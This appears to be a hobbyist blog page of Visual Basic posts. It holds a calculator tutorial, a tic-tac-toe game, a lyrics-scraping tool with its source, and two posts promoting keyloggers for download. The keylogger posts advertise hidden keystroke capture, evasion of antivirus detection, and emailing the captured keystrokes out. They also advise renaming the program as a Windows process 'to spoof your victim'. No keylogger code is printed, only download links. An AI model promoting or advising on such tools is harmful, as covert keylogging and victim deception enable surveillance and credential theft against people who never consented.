BittOo's Keylogger

Recently i have made a keylogger for my personal use.
I had just made some changes for publishing.
Its not that much cool it very simple , you can download it free below.

Features :
1) Save keystrokes in a textfile.
2) Can be hidden easily.
3) Portable.

Requirements :
Dot Netframwork 4.0 (Download Here)

Screenshot :

          Download Link :

Read More

Visual Basic 2010 Tutorial: How to make a simple calculator

Watch Tutorial :

Codes :

Public Class Form1 Dim FirstNumber As Single Dim SecondNumber As Single Dim AnswerNumber As Single Dim ArithmeticProcess As String Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click TextBox1.Text = TextBox1.Text & 1 End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click TextBox1.Text = TextBox1.Text & 2 End Sub Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click TextBox1.Text = TextBox1.Text & 3 End Sub Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click TextBox1.Text = TextBox1.Text & 4 End Sub Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click TextBox1.Text = TextBox1.Text & 5 End Sub Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click TextBox1.Text = TextBox1.Text & 6 End Sub Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click TextBox1.Text = TextBox1.Text & 7 End Sub Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click TextBox1.Text = TextBox1.Text & 8 End Sub Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click TextBox1.Text = TextBox1.Text & 9 End Sub Private Sub Button13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button13.Click FirstNumber = Val(TextBox1.Text) TextBox1.Text = "0" ArithmeticProcess = "+" End Sub Private Sub Button12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button12.Click SecondNumber = Val(TextBox1.Text) If ArithmeticProcess = "+" Then AnswerNumber = FirstNumber + SecondNumber End If If ArithmeticProcess = "-" Then AnswerNumber = FirstNumber - SecondNumber End If If ArithmeticProcess = "X" Then AnswerNumber = FirstNumber * SecondNumber End If If ArithmeticProcess = "/" Then AnswerNumber = FirstNumber / SecondNumber End If TextBox1.Text = AnswerNumber End Sub Private Sub Button14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button14.Click FirstNumber = Val(TextBox1.Text) TextBox1.Text = "0" ArithmeticProcess = "-" End Sub Private Sub Button16_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button16.Click FirstNumber = Val(TextBox1.Text) TextBox1.Text = "0" ArithmeticProcess = "X" End Sub Private Sub Button15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button15.Click FirstNumber = Val(TextBox1.Text) TextBox1.Text = "0" ArithmeticProcess = "/" End Sub Private Sub Button11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button11.Click TextBox1.Text = TextBox1.Text & "." End Sub Private Sub Button10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click TextBox1.Text = TextBox1.Text & 0 End Sub End Class

Read More

Create a Simple Tic Tac Toe game in VB 2010

In this tutorial we will see how to create a Tic Tac Toe Game.

It's not a multiplayer game , you can play with CPU.

The level is not tought at all .                       

                             

                              Screen Shots

Watch the tutorial :

               Codes : 

Password : dadhackers.tk

My Program   :  https://adf.ly/iqOXJ

Source Code : https://adf.ly/iqMq6

Read More

Lyrics Fetcher By BittOo

Lyrics Generator is a program that provider lyrics of any song

you need to do is enter artist name and song name and hit Generate

It is linked with Songlyrics.com so if the song lyrics does'nt exist on the website
then it will show an error .

Screen Shots :

Download Link : https://adf.ly/fTr2k

Tutorial :



Code :
Imports System.Net Imports System.Web.HttpUtility Public Class Form1 'coded by Abhishek Choudhary Public Function Parse(ByVal Html As String, ByVal Before As String, ByVal After As String, ByVal Offset As Integer) As String If String.IsNullOrEmpty(Html) Then Return String.Empty If Html.Contains(Before) Then Dim Returned As String = Html.Substring(Html.IndexOf(Before) + Offset) If Returned.Contains(After) AndAlso Not String.IsNullOrEmpty(After) Then Returned = Returned.Substring(0, Returned.IndexOf(After)) Return Returned Else Return String.Empty End If End Function Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If Not String.IsNullOrWhiteSpace(TextBox1.Text) AndAlso Not String.IsNullOrWhiteSpace(TextBox2.Text) Then Try Dim src As String = New WebClient().DownloadString(New Uri(String.Format("http://www.songlyrics.com/{0}/{1}-lyrics/", TextBox1.Text.Replace(" ", "-"), TextBox2.Text.Replace(" ", "-")))) Dim prselyrics As String = Parse(src, "<p id=""songLyricsDiv"" ondragstart=""return false;"" onselectstart=""return false;"" oncontextmenu=""return false;"" class=""songLyricsV14"">", "</p>", "<p id=""songLyricsDiv"" ondragstart=""return false;"" onselectstart=""return false;"" oncontextmenu=""return false;"" class=""songLyricsV14"">".Length).Replace(vbCrLf, "").Replace("<br />", vbCrLf) RichTextBox1.Text = HtmlDecode(prselyrics).Replace(Environment.NewLine, "") RichTextBox1.SelectAll() RichTextBox1.SelectionAlignment = HorizontalAlignment.Center Catch ex As Exception If ex.Message.Contains("404") Then RichTextBox1.Text = "Unable to find lyrics for " & TextBox1.Text + "-" + TextBox2.Text End Try Else MessageBox.Show("Enter song name & artist name to get the lyrics", "Information Missing", MessageBoxButtons.OK, MessageBoxIcon.Asterisk) End If End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click Dim savedialog As New SaveFileDialog savedialog.Title = "Save As..." savedialog.Filter = "Text Files (*.txt)|*.txt|All Files (*.*)|*.*" If savedialog.ShowDialog = Windows.Forms.DialogResult.OK Then RichTextBox1.SaveFile(savedialog.FileName, RichTextBoxStreamType.PlainText) End If End Sub Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged End Sub End Class

Read More

Keylogger By BittOo (Undetectable keylogger)

Hey peps !
Recently i have designed a new keylogger ..
As i am a white hat hacker i have'nt add top secrecy to it
It can be seen in Task Manager So if you accidentally ran it
use task manager to close it
Go to process and find Keylogger By BittOo
and end that process
It is invisible so to make it visible hit Ctrl + Shift + K

Feature of this keylogger :

Undetectable by antivirus
Send Keystrokes to my mail

It sends keystrokes to my mail so if you want for your email Comment Below or Contact me ..

Download Link : https://adf.ly/fP8C1

Tips : Rename it like any windows process .
Example winlog .
It not actually a windows process just to spoof your victim !!

New one coming soon for your personal use .

Read More